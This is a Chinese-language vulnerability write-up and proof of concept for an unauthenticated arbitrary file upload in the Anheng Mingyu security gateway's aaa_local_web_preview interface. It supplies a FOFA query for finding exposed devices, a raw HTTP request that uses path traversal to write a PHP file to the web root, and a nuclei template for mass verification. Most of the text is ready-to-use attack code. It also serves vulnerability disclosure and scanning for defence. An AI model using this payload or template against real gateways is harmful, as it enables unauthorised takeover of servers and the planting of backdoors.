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漏洞描述

明御安全网关aaa_local_web_preview接口处存在任意文件上传漏洞，未经授权的攻击者可通过此漏洞上传恶意后门文件，从而获取服务器权限。

fofa语句

title="明御安全网关"

漏洞复现

打开页面

构造payload

POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../changge.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

changge
--qqobiandqgawlxodfiisporjwravxtvd--

查看上传文件changge.php

nuclei批量验证

id: anheng-mingyu-aaa_local_web_preview-fileupload

info:
  name: 安恒明御安全网关aaa_local_web_preview文件上传漏洞
  author: changge
  severity: critical
  description: |
    明御安全网关aaa_local_web_preview接口处存在任意文件上传漏洞，未经授权的攻击者可通过此漏洞上传恶意后门文件，从而获取服务器权限。
  metadata:
    max-request: 1
    fofa-query: title="明御安全网关"
    verified: true
  tags: mingyu,fileuplaod
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}"
  boundary: "{{to_lower(rand_text_alpha(32))}}"
http:
  - raw:
      - |
        POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../{{file_name}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}
        Accept-Encoding: gzip
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

        --{{boundary}}
        Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
        Content-Type: text/plain

        {{randstr}}
        --{{boundary}}--


      - |
        GET /{{file_name}}.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15


    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200 && contains((body_2), '{{randstr}}')"